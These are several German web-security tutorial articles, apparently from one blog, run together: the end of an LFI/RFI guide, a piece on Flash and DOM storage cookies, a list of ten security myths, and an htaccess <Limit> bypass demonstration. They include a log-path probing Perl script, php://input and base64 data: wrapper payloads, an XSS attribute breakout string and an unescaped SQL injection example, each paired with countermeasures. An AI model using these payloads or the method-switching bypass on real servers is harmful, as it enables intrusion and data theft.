if(!$resp->is_success) { die "\nVerbindung zu $lfi_url fehlgeschlagen.\n"; }

my $count = 0;

foreach(@logpath)
{
  $resp = $useragent->get($lfi_url . $logpath[$count]);
  if(index($resp->content, "[error]") != -1)
  {
    die "\nErrorLog gefunden:\n\n" . $logpath[$count] . "\n";
  }
  $count++;
}

Hinweis: Windows liefert standardmäßig kein Perl mit, daher muss es erst installiert werden. Dazu eignet sich z.B. ActivePerl.

Code Injizierung in Bilddateien

Eine weitere Möglichkeit ist die Injizierung von Code in Bilddateien.

Viele Webanwendungen ermöglichen das Hochladen von Bildern. In vielen Forensystemen sind das z.B. Benutzeravatare oder Bilder in Benutzerprofilen.

Bilddateien kann man mit einem normalen Texteditor bzw. Hexeditor öffnen und bearbeiten. Allerdings können dadurch sehr schnell fehlerhafte Bilddateien erzeugt werden. Viele Anwendungen prüfen, ob es sich um fehlerfreie Bilddateien handelt.

Dazu gibt es aber auch wieder einige hilfreiche Tools (die eigentlich dafür gedacht sind Kommentare in Bilddateien zu schreiben).

Google liefert bei der Suche nach "jpg comment editor" genügend Ergebnisse.

Injiziert man PHP Code mit solchen Tools in einer Bilddatei und lädt sie hoch, kann der Code mithilfe einer LFI Sicherheitslücke ausgeführt werden.

http://localhost/vuln.php?file=uploads/bild.jpg

Code Injizierung in anderen Dateien

Neben den Apache Logs befinden sich auf vielen Servern noch andere Logdateien, wie z.B. Logs von Web Analytics Tools, die ausführliche Besucherstatistiken beinhalten.

Das könnten User-Agents, HTTP-Referrer, etc. sein. In solchen Fällen können Angreifer auch Code einschleusen, da der User-Agent / Referrer im Browser bzw. im HTTP-Header verändert werden kann - zum Beispiel mit dem Firefox Addon Live HTTP Headers.

PHP Input Wrapper

Eine weitere fortgeschrittene (und immer noch nicht so bekannte) Angriffstechnik ist die Injizerung von Code per PHP Input Wrapper php://input

In diesem Wrapper wird der Request-Body von POST-Requests eingelesen. Mit einer File Inclusion Sicherheitslücke können Angreifer somit beliebigen Code mittels POST-Requests ausführen.

Für Angreifer ergeben sich bei dieser Methode einige Vorteile:

Wenn allow_url_fopen auf Off gesetzt ist, sind solche Angriffe trotzdem möglich.

Allerdings muss allow_url_include auf On gesetzt sein.

Ein weiterer Vorteil für Angreifer ist, dass die Daten per POST-Methode übergeben werden. Somit wird der injizierte Code z.B. nicht in Apache's Access-Logs protokolliert.

http://localhost/vuln.php?file=php://input

Den POST-Request kann man ebenfalls mit Live HTTP Headers senden.

Ein weiterer Input Wrapper ist data: - hier werden kodierte Strings in der URL übergeben, die vom Wrapper dekodiert werden. Das Ergebnis wird anschließend auf der Seite ausgegeben. Beinhalten die Strings PHP Code, wird dieser interpretiert und ausgeführt.

http://localhost/vuln.php?file=data:;base64,PD9waHAgcGFzc3RocnUoImRpciIpOyA/Pg==

Diese Methode ist allerdings nur möglich, wenn allow_url_fopen auf On gesetzt ist.

Gegenmaßnahmen

White-Listing

Um sich vor File Inclusion Angriffen zu schützen, ist das sogenannte White-Listing in den meisten Fällen am sinnvollsten. Beim White-Listing werden nur bestimmte Angaben zugelassen.

Beim Black-Listing werden dagegen alle Angaben zugelassen und anschließend gefiltert.

In den meisten Fällen wissen Programmierer bereits, welche Dateien eingebunden werden sollen. Von daher bietet sich das White-Listing in solchen Fällen als sicherer Schutz gegen File Inclusion Angriffe an.

Eine White-List könnte in PHP wie folgt aussehen.

<?php
  if(isset($_GET['file']))
  {
    switch($_GET['file'])
    {
      case 'home':
        include('home.php');
        break;
      case 'services':
        include('services.php');
        break;
      case 'kontakt':
        include('kontakt.php');
        break;
      default:
        include('home.php');
    }
  }
?>

Hier werden bei den Angaben "home", "services" und "kontakt" die entsprechenden Dateien eingebunden. Falls etwas anderes angegeben wird, wird durch die default-Anweisung die Datei home.php eingebunden. Somit sind File Inclusion Angriffe unmöglich.

Falls nicht bekannt ist, welche Dateien eingebunden werden sollen und Benutzereingaben übergeben werden können, sollte man diese auch mit einer White-List validieren, da man vorher weiß, welches Format die Dateinamen haben. So könnte man z.B. nur bestimmte Zeichen erlauben.

Hinweis: Vor einer Filterung sollte man sich immer zuerst die Konfigurationseinstellungen anschauen. Diese können entweder zum Schutz beitragen oder genau das Gegenteil bewirken. Um RFI zu verhindern braucht man z.B. keine zusätzliche Filterung, wenn allow_url_fopen und allow_url_include auf Off gesetzt sind.

Auch interessant:

• Web-Tuts.de – Rückblick von 7 Wochen
• Sichere Formulare – Teil 2
• Sicherheitslücken kombinieren
• Content-Spoofing – Teil 3 – HTTP Redirects
• Gefährliche Funktionen und Variablen in PHP

Normale Browser-Cookies kennt jeder. Sie werden üblicherweise lokal auf dem Rechner in einer Textdatei gespeichert.

Beim Setzen solcher Cookies wird ein Verfallsdatum angegeben, welches bestimmt, wie lange die Cookies gültig sind. Falls sie nicht mehr gültig sind, werden sie gelöscht. Die meisten Browser bieten die Möglichkeit Cookies jederzeit zu löschen oder Cookies zu deaktivieren. Alternativ kann man sie natürlich auch direkt von der Festplatte löschen.

Ein Grund, warum Cookies von vielen Benutzern regelmäßig gelöscht werden, ist der Datenschutz bzw. die Privatsphäre. Besonders werbetreibende Webseiten sammeln oft alle möglichen Daten und verwenden sie später zu Marketing-Zwecken.

Alleine Browser-Cookies zu löschen reicht aber in vielen Fällen nicht aus. Es gibt seit einigen Jahren ausgefeiltere Speichertechniken, die jedoch kaum jemand kennt. Die Rede ist von sogenannten Super-Cookies, wie zum Beispiel Flash Cookies.

Flash Cookies

Flash-Cookies oder Local Shared Objects (LSO) unterscheiden sich deutlich von normalen Browser-Cookies. Sie haben im Gegensatz zu normalen Browser-Cookies kein Verfallsdatum und können im Browser ohne spezielle Erweiterung nicht gelöscht bzw. deaktiviert werden (es sei denn man deaktiviert das Flash Player Plugin).

Außerdem sind Flash Cookies Browserübergreifend. Das bedeutet, dass Benutzer auch identifiziert werden können, wenn sie einen anderen Browser verwenden - solange sich das Cookie auf dem Rechner befindet.

Speicherorte von Flash Cookies:

Microsoft Windows

%AppData%\Macromedia\Flash Player\#SharedObjects

Windows 7

%AppData%\Roaming\Macromedia\Flash Player\#SharedObjects

Linux / Solaris

~/.macromedia/Flash_Player/#SharedObjects

Max OS X

~/Library/Preferences/Macromedia/Flash Player/#SharedObjects

Flash Cookies löschen und deaktivieren

Wie bereits erwähnt, lassen sich Flash Cookies im Browser ohne weiteres nicht löschen bzw. deaktivieren. Man muss allerdings nicht jedes mal Cookies manuell vom Rechner löschen. Es gibt einfache und schnelle Möglichkeiten, um Super-Cookies zu löschen oder um sie dauerhaft zu deaktivieren.

Zum einen gibt es für den Firefox-Browser das Addon BetterPrivacy. Damit lassen sich u. A. Super-Cookies auf einen Schlag (automatisch) löschen.

Eine andere Möglichkeit um Flash Cookies global zu deaktivieren bietet Adobe selbst - und zwar mit dem online Einstellungs-Manager für den Adobe Flash Player.

Unter "Globale Speichereinstellungen" sollte dazu der Schieberegler ganz nach links geschoben werden, damit kein Speicherplatz mehr für Flash Cookies auf der Festplatte bereitgestellt wird. Bei den anderen drei Optionen das Häkchen entfernen und fertig.

DOM Storage Cookies

DOM Storage ist ein Mechanismus, um Daten im Browser zu speichern. DOM Storage wurde vom W3C standardisiert und wird von neueren Browsern wie Firefox 2+, Internet Explorer 8 und Safari unterstützt.

DOM Storage Cookies haben im Gegensatz zu normalen Cookies eine viel größere Speicherkapazität (bis zu 10 MB) und können somit natürlich eine riesen Menge Daten aufnehmen. Ein weiteres Merkmal von DOM Storage Cookies ist, dass sie auch gesendet werden, wenn eine andere Subdomain aufgerufen wird. Allerdings werden DOM Storage Cookies nicht in jedem HTTP-Request übertragen.

Wenn man Cookies im Browser löscht, werden in der Regel auch DOM Storage Cookies gelöscht. Man kann aber auch dafür sorgen, dass sie deaktiviert werden (zum Beispiel mit dem Firefox Addon BetterPrivacy).

Muss ich jetzt alle Cookies deaktivieren?

Normale Browser-Cookies natürlich nicht. Sie sind bestandteil des Internets und ohne sie würden viele Webanwendungen nicht richtig funktionieren und man müsste ständig Daten neu eingeben. Allerdings schadet es nicht sie regelmäßig im Browser zu löschen.

Flash Cookies bzw. LSOs und DOM Storage sollte man dagegen deaktivieren. Mir fällt jedenfalls kein Grund ein, warum man das nicht machen sollte. Wer den Firefox-Browser nutzt, ist mit dem BetterPrivacy Addon gut bedient - ansonsten sollte man Flash Cookies mit dem Einstellungs-Manager von Adobe global deaktivieren.

Auch interessant:

• 16 nützliche Firefox-Addons für Webworker
• 25+ aktuelle Cheat Sheets für Webworker
• Impressum
• PHP Session Sicherheit – Session Fixation
• Sicherheitslücken kombinieren

Zum Thema Web Security gibt es viele Behauptungen, Vorurteile und falsche Einschätzungen.

Dadurch werden falsche Informationen verbreitet und unzureichende Schutzmaßnahmen angewendet. In diesem Artikel werden 10 beliebte Mythen zum Thema Web Security aufgedeckt.

Zu einigen dieser Mythen gibt es auch praktische Beispiele, die demonstrieren sollen, wie Angreifer unzureichende Schutzmaßnahmen umgehen können.

Sind statische Webseiten sicher? Sind client-seitige Sicherheitslücken wie Cross-Site Scripting (XSS) wirklich harmlos?

Das und einiges mehr wird in diesem Artikel aufgedeckt.

1. 1. Statische Webseiten sind sicher

   Viele meinen statische Webseiten (HTML-Dokumente) sind sicher, weil keine serverseitigen Scriptsprachen wie PHP verwendet werden und somit auch keine Sicherheitslücken entstehen können.

   Für die Webseiten ansich mag das stimmen. Allerdings liegen Webseiten immer auf einem Server und dieser kann auch Sicherheitslücken aufweisen. Somit könnten Angreifer Zugriff auf die entsprechenden (HTML-)Dateien erlangen.

   Es müssen allerdings nicht zwingend Sicherheitslücken in der Server-Software vorhanden sein. Viele Website-Betreiber nutzen Webhosting-Pakete und keinen eigenen Server. Jedem Kunden wird ein entsprechender Speicherplatz auf dem Server zugewiesen. Auf dem selben Server hosten also noch sehr viele andere Kunden ihre Webseiten - und garantiert nicht nur Statische. Sind dort Sicherheitslücken in Webanwendungen vorhanden, könnten sich Angreifer Zugriff auf dem Server verschaffen. Verschiedene Verzeichnisse haben auf einem Shared Server zwar einen Zugriffsschutz, versierte Angreifer könnten in manchen Fällen mit einigen Tricks aber auch diesen Schutz umgehen und auf beliebige Verzeichnisse zugreifen. Dazu schreibe ich noch einen eigenen Artikel.

2. 2. Meine Webseiten sind für Angreifer uninteressant

   Nur weil keine sensiblen Daten wie Passwörter, Kundendaten, etc. vorhanden sind, heißt es noch lange nicht, dass Angreifer kein Interesse an Ihren Webseiten haben.

   Webseiten können auf verschiedenster Weise manipuliert werden. Werden Dateien zum Download angeboten, könnten diese vertauscht werden, Links könnten so manipuliert werden, dass sie zu infizierten Webseiten führen, Proxy-Server könnten installiert werden, Phishing-Seiten könnten hochgeladen werden, etc.

3. 3. HTTP-Authentifizierungen sind sicher

   Werden bei HTTP-Authentifizierungen schwache Passwörter (oder Benutzernamen) verwendet, könnten Angreifer diese mittels Brute-Force oder Dictionary-Attacken knacken. Aber selbst wenn sichere Logindaten verwendet werden, bedeutet das nicht, dass dieser Schutz immer sicher ist.

   Es gibt zum Beispiel eine Methode mit der Angreifer bestimmte HTTP-Authentifizierungen durch Manipulation der HTTP-Methode umgehen können.

4. 4. Cross-Site Scripting (XSS) Sicherheitslücken sind harmlos

   Dies ist eines der häufigsten Vorurteile gegen XSS von "selbsternannten Experten".

   Dabei wissen die meisten noch nicht mal genau, was mit XSS alles möglich ist. XSS Sicherheitslücken werden am häufigsten zum Stehlen von Cookie-Informationen ausgenutzt. In Cookies werden oft sensible Informationen übermittelt. Das können verschlüsselte (manchmal sogar auch unverschlüsselte) Logindaten oder Session-ID's (SIDs) sein mit denen Angreifer die aktuelle Sitzung / Session entführen können (Session Hijacking - dazu werde ich ebenfalls noch einen Artikel schreiben).

   Das Stehlen von Cookies ist aber nicht das einzige, was Angreifer mit XSS anstellen können. Angreifer könnten zum Beispiel eine XSS-Shell injizieren und sämtliche Daten des Benutzers abfangen - u. A. werden XSS-Shells auch als temporäre Keylogger genutzt.

   Mittels DOM-based XSS kann client-seitiger Code auch lokal mit den Rechten des aktuellen Benutzers ausgeführt werden. Bei alten IE Versionen könnte das sogar zu Remote Execution (und somit zum Zugriff auf dem Rechner) führen.

5. 5. Die Funktion »htmlspecialchars« verhindert automatisch XSS

   Mit den PHP Funktionen htmlspecialchars() und htmlentities() kann man XSS verhindern. Allerdings können diese Funktionen auch falsch angewendet werden.

   Dazu folgendes Beispiel:

   <?php
     if(isset($_POST['textfeld']) && !is_array($_POST['textfeld']))
       $textfeld = htmlspecialchars($_POST['textfeld']);
     else
       $textfeld = '';
   
     $form  = "<form action='' method='post'>\n";
     $form .= "<input type='text' name='textfeld' value='$textfeld' size='30' /><br /><br />\n";
     $form .= "<input type='submit' name='senden' value='Absenden' />\n";
     $form .= "</form>";
   
     echo $form;
   ?>

   Wird im Textfeld zum Beispiel normaler JavaScript Code eingegeben und das Formular abgesendet, werden spezielle Zeichen (wie gewollt) in HTML-Code umgewandelt:

   value='<script>alert(1);</script>

   Was auf den ersten Blick gut aussieht, stellt sich bald als potenzielle Sicherheitslücke heraus. Die Funktionen htmlspecialchars() und htmlentities() kodieren zwar Zeichen, die normalerweise XSS verhindern, allerdings wird ein bestimmtes Zeichen standardmäßig nicht kodiert: das einfache Anführungszeichen.

   Da hier die Variable »textfeld« (welche die Benutzereingaben enthält) in einfachen Anführungszeichen, anstatt doppelten Anführungszeichen steht, kann aus dem value-Attribut ausgebrochen werden und JavaScript Event-Handler können injiziert werden, womit JavaScript Code bei bestimmten Aktionen ausgeführt werden kann.

   Man könnte zum Beispiel folgenden String ins Textfeld injizieren:

   ' onmouseover='alert(123);

   Beim Überfahren des Textfelds mit der Maus wird der JavaScript Code ausgeführt. In diesem Beispiel eine harmlose Alert-Box. Wer sich diesen String genau anschaut, wird feststellen, dass dort kein einziges Zeichen vorhanden ist, das die Funktionen htmlspecialchars() und htmlentities() standardmäßig kodieren würden.

   Um auch einfache Anführungszeichen zu kodieren, muss der Modus ENT_QUOTES verwendet werden. Dieser wird den Funktionen als Parameter übergeben.

   $textfeld = htmlspecialchars($_POST['textfeld'], ENT_QUOTES);

6. 6. Die Funktion »mysql_real_escape_string« verhindert automatisch SQL Injection

Die PHP Funktion mysql_real_escape_string() verhindert SQL Injection, wenn Benutzereingaben, die in einer SQL-Anweisung verwendet werden, sich innerhalb eines Strings befinden - also mit Anführungszeichen umschlossen sind.

Ist dies nicht der Fall, ist SQL Injection möglich, da die Funktion mysql_real_escape_string() - wie der Name schon sagt - nur bestimmte Zeichen innerhalb eines Strings maskiert.

Dazu wieder ein (vereinfachtes) Beispiel:

<?php
  // ...

  if(isset($_GET['id']) && !is_array($_GET['id']))
    $id = mysql_real_escape_string($_GET['id']);
  else
    $id = 1;

  $sql = "SELECT ID FROM Users WHERE ID=$id";

  mysql_query($sql) or die(mysql_error());
?>

Die Variable »id« befindet sich nicht in einem String. Das ist auch nicht nötig, da sie eine ID enthalten soll, die numerisch ist. SQL Injection wär hier problemlos möglich. Würde sich die Variable in einem String befinden, wär SQL Injection nicht möglich. In einigen Fällen kann aber auch mysql_real_escape_string() umgangen werden.

Um SQL Injection in diesem Beispiel zu verhindern, sollte man den Wert der Variable in einen numerischen Datentyp konvertieren. Dazu kann die PHP Funktion intval() verwendet werden oder man nutzt das Type Casting.

$id = intval($_GET['id']);

$id = (int)$_GET['id'];

7. 7. »magic_quotes_gpc« verhindert automatisch SQL Injection

   In vielen Fällen können Angreifer magic_quotes_gpc umgehen - zum Beispiel mit der SQL Funktion CHAR() oder mit Hexadezimal-Werten.

   magic_quotes_gpc wird in PHP 6.0.0 entfernt.

8. 8. DDoS Protection Scripte verhindern DDoS-Attacken

   Kein Script der Welt bietet einen effizienten Schutz gegen DDoS. Gegenmaßnahmen sollten auf tieferer Ebene stattfinden - zum Beispiel beim Grenzrouter des Providers oder wenn nötig auf Server-Ebene. Einen 100%igen DDoS-Schutz gibt es jedoch nicht.

9. 9. Der X-Forwared-For HTTP-Header enthält immer die echte IP Adresse

   Natürlich nicht. Bei anonymen Proxies kann die echte IP Adresse nicht so einfach ausgelesen werden. Erstrecht nicht, wenn eine Proxy-Chain verwendet wird.

10. 10. Validiere $_GET, $_POST, $_COOKIE und dein PHP Script ist sicher

    Dies ist ein häufiger Fehler von PHP Programmierern. Benutzereingaben bzw. Daten von Aussen könnten beispielsweise auch im superglobalen Array $_SERVER an die Webanwendung übermittelt werden. $_SERVER['HTTP_USER_AGENT'] enthält zum Beispiel den User-Agent String, der im Browser beliebig verändert werden kann. In einem anderen Artikel habe ich einige davon aufgelistet.

Auch interessant:

• Über Web-Tuts.de
• Hackits / Challenges – Learning by Doing
• 16 nützliche Firefox-Addons für Webworker
• CSS History Hacks – Auslesen von besuchten Webseiten
• Advanced Local und Remote File Inclusion

Beim Apache Server werden dazu .htaccess Dateien verwendet. Diese beinhalten unter Anderem den Pfad zur Passwortdatei .htpasswd, welche den Benutzernamen sowie das verschlüsselte Passwort (DES oder MD5) enthält.

Solche Authentifizierungen gelten allgemein als sicher, solange ein kryptisches Passwort gewählt wurde, um Brute-Force Attacken zu verhindern.

Es gibt jedoch eine Methode, mit der Angreifer viele solcher Authentifizierungen umgehen können. Darum geht es in diesem Artikel.

htaccess <Limit> Bypass durch Manipulation der HTTP-Methode

Mit der Direktive <Limit> kann angegeben werden, über welche HTTP-Methode die Dateien im angegebenen Verzeichnis geschützt werden sollen.

Meistens wird hier GET bzw. GET und POST angegeben. Wird ein Verzeichnis über den Browser per URL aufgerufen, sendet der Browser ein GET-Request an den Webserver. Ist in der <Limit> Direktive GET als HTTP-Methode angegeben, wird der Zugriff verweigert und man wird zur Eingabe der Logindaten aufgefordert. Manchmal soll auch das Absenden von Formularen nur bestimmten Usern vorbehalten werden - in solchen Fällen würde hier POST als HTTP-Methode angegeben werden.

Was passiert aber, wenn Dateien im geschützten Verzeichnis mit einer anderen HTTP-Methode aufgerufen werden?

Folgende HTTP-Methoden sind im RFC 2616 (HTTP 1.1) spezifiziert:

• GET
• POST
• HEAD
• PUT
• DELETE
• TRACE
• OPTIONS
• CONNECT

Die HTTP-Methode OPTIONS liefert eine Liste von Methoden, die vom Server unterstützt werden. HTTP-Methoden kann man mit diversen Browser-Addons ändern oder z. B. per Telnet / SSH Verbindung selbst festlegen.

Ich verwende in den folgenden Beispielen das Firefox Addon Live HTTP Headers.

Angreifer können dies ausnutzen und durch Manipulation der HTTP-Methode auf Dateien in einem htaccess-geschützten Verzeichnis zugreifen.

Die <Limit> Direktive wird erstaunlich oft verwendet - bei der Google-Suche nach "htaccess generator" ist das bei dem ersten Ergebnis schon der Fall.

Proof-Of-Concept

Hier nun ein Praxisbeispiel.

Das zu schützende Verzeichnis "secret" befindet sich hier: /home/www/secret/

In diesem Verzeichnis liegt eine geheime Textdatei "geheim.txt", welche Passwörter enthält und eine PHP Datei "backup.php", mit der ein vollständiges DB Backup heruntergeladen werden kann. Und natürlich die Dateien zur Authentifizierung.

.htaccess

AuthUserFile /home/www/secret/.htpasswd
AuthGroupFile /dev/null
AuthName "No Access"
AuthType Basic
<Limit GET>
require valid-user
</Limit>

.htpasswd

Admin:eI0E7d3r2XVWU

Ruft man das Verzeichnis "secret" per URL im Browser auf, wird man aufgefordert die Logindaten einzugeben.

Da in der <Limit> Direktive nur GET angegeben wurde, können Angreifer die Authentifizierung umgehen, indem sie die HTTP-Methode einfach in POST ändern.

Im folgenden Beispiel wird die Datei "secret.txt" per POST-Methode aufgerufen. Der Inhalt der Datei wird vom Server "freundlicherweise" zurückgeliefert.

Würde man das selbe nun mit der "backup.php" machen, könnte ein vollständiges Backup der DB heruntergeladen werden.

Nochmal zum Verständis: In diesem Beispiel wurde das Verzeichnis "secret" nur für den Zugriff per GET-Methode geschützt. Durch Änderung der HTTP-Methode in POST konnte somit die Authentifizierung umgangen werden.

Gegenmaßnahmen

Eine Gegenmaßnahme ist ganz einfach: Die <Limit> Direktive nicht verwenden.

Falls man doch mal, aus welchen Gründen auch immer, ein Zugriff über eine bestimmte HTTP-Methode erlauben will, sollte man zu der <LimitExcept> Direktive zurückgreifen. Hier wird bei jeder HTTP-Methode der Zugriff verweigert, außer bei der in der <LimitExcept> Direktive angegebenen.

Auch interessant:

• Web-Tuts.de – Rückblick von 7 Wochen
• 16 nützliche Firefox-Addons für Webworker
• 10 Mythen zum Thema Web Security
• Content-Spoofing – Teil 3 – HTTP Redirects
• Advanced Local und Remote File Inclusion